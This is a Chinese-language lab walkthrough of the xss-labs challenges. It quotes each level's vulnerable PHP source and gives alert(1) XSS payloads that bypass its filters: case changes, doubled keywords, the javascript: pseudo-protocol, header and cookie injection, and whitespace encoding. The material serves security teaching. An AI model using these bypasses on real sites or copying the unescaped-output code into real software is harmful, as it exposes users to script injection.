xxs-labs
Level-1
先对源码进行分析
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
这里以GET
方式接受一个name
参数类型,但是并没有对它进行过滤就直接与执行语句拼接,然后直接echo
出来,这样我们就可以执行任意可弹窗payload
,最基本的payload
:
<script>alert(1)</script>
以下的语句都可以通过:
<scRIpT>new class extends confirm`4`{}</SCripT> //绕过script大小写,括号,alert等函数
<script>(((confirm)))`666`</script> // 绕过括号,alert等函数限制
<script>co\u006efirm(666)</script>
<svg/onload=alert(1)>
<script>{confirm`NB`}</script>
<script>alert`111`</script>
%3c/title%3e%3cscript%3ealert`%22xss%22`%3c/script%3e
其中有的虽然弹了xss 但是没有跳转到下一关
Level-2
关键源码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
这里多了一个htmlspecialchars()
函数,它的用法是:
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
预定义的字符是:
- & (和号)成为 &
- " (双引号)成为 "
- ' (单引号)成为 '
- < (小于)成为 <
- > (大于)成为 >
默认情况下引号只编码双引号!
这里就可以使用两种方法:
- 不使用预定义的字符,使用js的事件
" onclick=alert(1)>这样需要点击一下输入框<br>
" onmouseover=alert(1)>需要鼠标划过输入框<br><br>
- 将
input
文本框提前闭合,执行我们的代码
"><script>alert(1)</script>
这样的拼接语句为:
<input name="keyword" value=" "><script>alert(1)</script>"
Level-3
查看源代码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
这里与之前不同的是input
文本框中也对$str
进行了过滤,所以闭合input
文本框无法实现,只能通过js
事件进行过滤。
Level-4
查看源代码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
这里使用了str_replace()
函数将'<>'过滤了,并且echo
中的str3
也被htmlspecialchars()
做了过滤。
所以我们必须在没有'<>'并且不被htmlspecialchars()
函数的影响下闭合语句。payload:
" onfocus=alert(1) autofocus="
//拼接语句为
<input name=keyword value=" " onfocus=alert(1) autofocus=" ">
" onclick=alert(1) //
//拼接语句为
<input name=keyword value=" " onfocus=alert(1) //">
Level-5
查看源码:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
过滤了'<script','on',这样就相当于过滤了js事件,strtolower()
函数也使大小写绕过失效。但是这次并没有过滤'<>'。
这里拓展一个关于伪协议的:
<a id="jsPswEdit" class="set-item" href="javascript:;">修改密码</a>
如上代码,javascript:是表示在触发a标签默认动作时,执行一段JavaScript代码,
举个栗子,在script中写了个function test{……},如果a标签里的href=”javascript:test()”,那么点击这个链接就会执行test这个函数。
而 javascript:; 表示什么都不执行,这样点击a标签时就没有任何反应。
payload:
"><iframe src=javascript:alert(1)>
"><a href="javascript:alert(1)">
Level-6
查看源码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
这道题在刚刚的基础上过滤了data
,href
,stc
,所以没有使用伪协议,但是却并没有过滤大小写。
大小写绕过
"> <Script>alert(1)</script> //
"> <img Src=x OnError=alert(1)> //
"><a HrEf="javascript:alert(1)">bmjoker</a>//
"><svg x=" " Onclick=alert(1)>
"><ScriPt>alert(1)</sCrIpt>"
" OncliCk=alert(1) //
Level-7
查看源码:
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
这道题虽然对script
,on
,src
,data
,href
进行过滤并且还对大小写进行了过滤,但是str_replace()函数
将关键字替换为了空,所以可以用双写的方式进行绕过,上面所有的payload双写后都可以使用。
Level-8
查看源码:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
这里过滤的有点多并且是将关键词进行了替换,双引号也被替换成编码了。这里的突破点是a标签内,可以考虑使用伪协议,但是javascript
被过滤了,这里可以使用r
来替换r
。
payload:
javascript:alert(1)
javascript:alert`1`
javascript:alert`1`
Level-9
查看源码:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
这题过滤和上题一样,但是加入了一个判断条件strpos($str7,'http://')
。这里可以利用注释的方式,在后面添加一个http://
。
payload:
javascript:alert(1)//http://xxx.com //利用注释
javascript:%0dhttp://xxx.com%0dalert(1) //不利用注释
javascript:%0ahttp://xxx.com%0daalert(1) //不利用注释
Level-10
查看源码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
这里传入了两个参数,keyword
和t_sort
,并且过滤了t_sort
中的'<>',我们对隐藏的三个输入框着手,修改隐藏标签。
payload:
keyword = test&t_sort="type="text" onclick = "alert(1)
keyword = test&t_sort="type="text" onmouseover="alert(1)
keyword = test&t_sort="type="text" onmouseover=alert`1`
拼接语句为:
<input name="t_sort" value=" " type="text" onclick = "alert(1)" type="hidden">
Level-11
查看代码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
这题与上题区别不大,只是它从Rerferer
中取值,并且对其过滤了'<>',payload与上题一致。
这题如果闭合符号位单引号,可以考虑在$str
进行构造。
Level-12
查看代码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
和上题一致,不过注入点在User-Agent
。
Level-13
查看源码:
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
过滤一样,注入点变成Cookie
。
Level-14
查看源码:
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xsschallenge/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>
URL
失效了,讲一下原理:
有些网站有读取图片exif信息的功能,当网站读取到的恶意的exif信息就会触发这个payload。
修改exif信息:
linux系统使用exiftool工具,进行修改。windows系统直接使用鼠标右键进入属性页面直接修改。
Level-15
查看代码:
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
ng-include
知识点:
用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include 属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
也就是相当于文件包含,网上其他人通过包含Level1的文件进行xss
注入,不过我尝试了几个payload都没有成功。
'level1.php?name=<img src=x onerror=alert(1)>'
'level1.php?name=<script>alert(1)</script>'
Level-16
查看源代码:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
这里的script
,空格
,'/',大小写都进行了过滤。空格可以使用%09, %0a, %0b, %0c, %0d, %a0
等进行绕过。payload:
<img%0asrc=1%0aonerror=alert(1)>
Level-17
查看源码:
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
arg01= onmousemove&arg02=alert(1) ,以追加的形式构成xss脚本,
arg01=1&arg02= onmouseover=alert(1) 直接以事件形式弹</pre>
Level-18
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
引入的文件不一样,payload和上面一样。
Level-19,20
两题都不怎么懂,先放着
总结
- xss注入大多在标签中进行
- 简单构造标签为:
<script>alert(1)</script>
- 更好用的标签:
<img src=x onerror=alert(1)>
和<a href=javascript:alert(1)>
- 更好用的参数:
onmouseover=alert(1)
- 利用单双引号闭合标签
- 关键字过滤问题:
- 大小写绕过
- 双写绕过
HTML
字符编码转码绕过- 回车空格替换
http
注释://- 利用信息头文件注入:
referer
,cookie
,user_agent
angular js
中的ng-include
问题:引入问题页面。- flash xss